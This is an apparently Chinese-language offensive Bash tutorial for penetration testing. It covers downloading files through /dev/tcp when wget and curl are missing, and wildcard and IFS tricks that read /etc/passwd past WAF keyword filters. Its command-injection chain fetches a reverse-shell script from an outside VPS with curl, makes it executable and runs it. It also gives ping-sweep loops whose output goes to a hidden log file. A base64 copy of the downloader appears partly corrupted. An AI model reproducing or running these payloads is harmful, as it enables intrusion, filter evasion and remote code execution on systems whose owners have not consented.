🖥️Bash进阶-攻防实战场景应用

Bash渗透实战场景

当服务器没有wget、curl怎么下载文件?不能出网? yum apt-get

前置情况:

  • 服务器不能上网

  • 没有wget

  • 没有curl

Busybox是什么?

https://baike.baidu.com/item/busybox/427860

在遇到没有wget的方式时,可以通过curl命令来下载busybox之后安装wget命令。

curl -o busybox http://1.1.1.1/busybox && chmod +x /root/busybox && /root/busybox --install /usr/local/sbin/ && rm -rf /root/busybox && echo "1"

这种方式只能解决部分问题,遇到了没有wget和curl命令的时候就很无解。

以下这段代码主要功能是使用Bash的/dev/tcp文件执行HTTP请求,这就解决了服务器没有wget、curl也能够下载文件

#下载代码
read proto server path <<< "${1//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
 
#-r 屏蔽 \,按行读取Header部分,匹配到\r就停止读取
while IFS= read -r line ; do
    [[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
#读取body的内容
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
    printf "%s$nul" "$x"
done <&3
 
#关闭输出
exec 3>&-
echo Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download

下载文件:

bash -x download http://1.1.1.1:80/111

执行流程分析:

#用read读取URL参数并且进行URL解析并得到path、server、port
+ read proto server path
 
#获取名称、IP、PORT定义变量
+ DOC=/busybox
+ HOST=10.32.38.80
+ PORT=80
 
#加上x防止出现语法错误
#不加x,当变量为空时会没有,if[ == "0"],会出现语法错误
#加上x,当变量为空时,解析会 if ["x" == "x"],依然正确
+ [[ x10.32.38.80 == x\8\0 ]]
 
#exec 3<>/dev/tcp/${HOST}/$PORT
#打开tcp Socks,以读写的方式打开。结束以3>&-方式关闭输出连接
+ exec
 
#转义并加上输出都加上\n换行
+ echo -en 'GET /busybox HTTP/1.0\r\nHost: 10.32.38.80\r\n\r\n'
+ IFS=
 
#读取每一行请求的内容,遇到\n就结束
+ read -r line
 ]] \HTTP/1.1 200 OK
+ IFS=
+ read -r line
 ]] \Date: Sun, 24 Apr 2022 02:36:39 GMT
+ IFS=
+ read -r line
 ]] \Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
+ IFS=
+ read -r line
 ]] \Last-Modified: Sun, 24 Apr 2022 02:33:33 GMT
+ IFS=
+ read -r line
 ]] \ETag: "4-5dd5d493bcb25"
+ IFS=
+ read -r line
 ]] \Accept-Ranges: bytes
+ IFS=
+ read -r line
 ]] \Content-Length: 4
+ IFS=
+ read -r line
 ]] \Connection: close
+ IFS=
+ read -r line
 ]] \Content-Type: text/plain
+ IFS=
+ read -r line
 ]] \
+ break
+ nul='\0'
+ IFS=
#以空作为结束符
+ read -d '' -r x
+ nul=
+ '[' -n test ']'
#有则通过printf打印内容给到%s
+ printf %s test
+ IFS=
+ read -d '' -r x
+ nul=
+ '[' -n '' ']'
+ exec

扩展模式

bash内置了这个功能,与所要执行的命令无关,命令本身不存在参数扩展

模块扩展的英文单词是glob,这个词来自于早期的 Unix 系统有一个/etc/glob文件,保存扩展的模板。

其中有些用到通配符,又称为通配符扩展(wildcard expansion)

Bash提供八种扩展:

  • 波浪线扩展

  • ? 字符扩展

  • 字符扩展

  • 方括号扩展

  • 大括号扩展

  • 变量扩展

  • 子命令扩展

  • 算术扩展

开启与关闭扩展模式

#关闭扩展
set -o noglob
set -f
 
#开启扩展
set +o noglob
set +f

  • 波浪线扩展

~会被 当成用户的主目录
echo ~
 
#扩展成用户user主目录
echo ~root
 
#扩展当前所在目录,等同于pwd命令
echo ~+

  • 字符扩展

? 字符代表文件路径中的任意单个字符,但不包括空字符 只有文件存在才会发生扩展,文件不存在就不会

Bypass Waf常看到的

查看当前/etc/passwd

cat /e?c/p?s??d
cat /?t*/??ss**

  • 字符扩展

*字符代表文件路径里面的任意数量的任意字符,包括零个字符。
ls *.tar.gz
 
#匹配隐藏文件
echo .*
 
#匹配隐藏文件,同时排除.和..
echo .[!.*]
 
#匹配子目录
ls */*.txt
 
#Waf Bypass
/b*n/cat /et*/p**swd
  • 方括号扩展

ls [ab].txt
方括号扩展还有两种变体:[^...]和[!...]。它们表示匹配不在方括号里面的字符,这两种写法是等价的。
#不匹配i出现的文件
ls ?[!i]*
 
#过滤了关键词,例如password
cat /etc/p[a-z]s[a-z]w[a-z]

  • [start-end]扩展

ls [a-z].txt
 
· [a-z]:所有小写字母。
· [a-zA-Z]:所有小写字母与大写字母。
· [a-zA-Z0-9]:所有小写字母、大写字母与数字。
· [abc]*:所有以a、b、c字符之一开头的文件名。
· program.[co]:文件program.c与文件program.o。
· BACKUP.[0-9][0-9][0-9]:所有以BACKUP.开头,后面是三个数字的文件名。

  • 大括号扩展

大括号扩展不是文件名扩展。它会扩展成所有给定的值,而不管是否有对应的文件存在。

echo Front-{A,B,C}-Back
 
cp a.log{,.bak}
等同于:cp a.log a.log.bak
  • {start..end}扩展

echo {1..4}
 
#创建目录,以年份-月份
mkdir {2007..2009}-{01..12}
(CMD1;CMD2;...) { CMD1;CMD2;...; } 都可以将多个命令组合在一起
( list ),会开启子shell
{ list },不会启子Shell
  • 变量扩展

#扩展成所有以S开头的变量名。
echo ${!S*}
  • 子命令扩展

echo $(ls $(pwd)) 
  • 算术扩展

$((...))可以扩展成整数运算的结果

实战中IFS利用

在一次实战命令执行中,遇到了过滤:':;,<|>/`"%&

过滤了 “/“ 符号,这里可以通过IFS内部字段分隔符,Internal Field Separator 的缩写)来bypass

echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)

${IFS} 是Linux下的分隔符的意思,可以将${IFS}进行空格替换。

subset:是返回起始位置为POS(从1开始计数)、长度为LENGTH个字符的子字符串

cat${IFS}$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)etc$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)passwd

实战利用场景:

命令执行漏洞,但代码过滤:':;,<|>/`"%&

目标环境可出网,进行反弹Shell操作。

脚本内容为常见的反弹Shell,写入到HTTP服务Web目录下,建立1.txt文件

#下载脚本
$(curl%20123.123.123.123%20-o%20   $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp   $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1) 0000.sh)
 
#通过curl命令下载VPS内容,放入到/tmp/0000.sh目录下。
$(curl%20122.222.222.222%20-o%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
 
#chmod命令给于脚本权限
$(chmod%20+x%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)
 
#bash执行脚本
$(bash%20$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)tmp$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)0000.sh)

例如空格绕过还有:

<    符号:cat</etc/passwd
$IFS$9    cat$IFS$9/etc/passwd
<>   cat<>/etc/passwd

探测IP存活

#查询C段存活主机,只显示存在结果
##这种方式太慢了
for ip in {1..254};do ping -c1 -W1 192.168.250.$ip|grep -q "ttl=" && echo "192.168.250.$ip yes" >/dev/null 2>&1;done
 
##多进程,探测C段存活
#!/usr/bin/env bash
for ip in {1..254};do
    ping -c1 -W1 192.168.250.$ip|grep -q "ttl=" && echo "192.168.250.$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
 
##多进程,只扫单个网段
#!/usr/bin/env bash
for ip in {1..254};do
    ping 192.168.$ip.1 -c 1 |grep -q "ttl=" && echo "192.168.$ip.1 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
 
##扫描B段所有网段,扫10和172,扫192会扫到外网去
#!/usr/bin/env bash
for i in {1..254};do
    for j in {1..254};do
        ping -c1 -W1 192.$i.$j.1|grep -q "ttl=" && echo "192.$i.$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
    done
done
wait

Last updated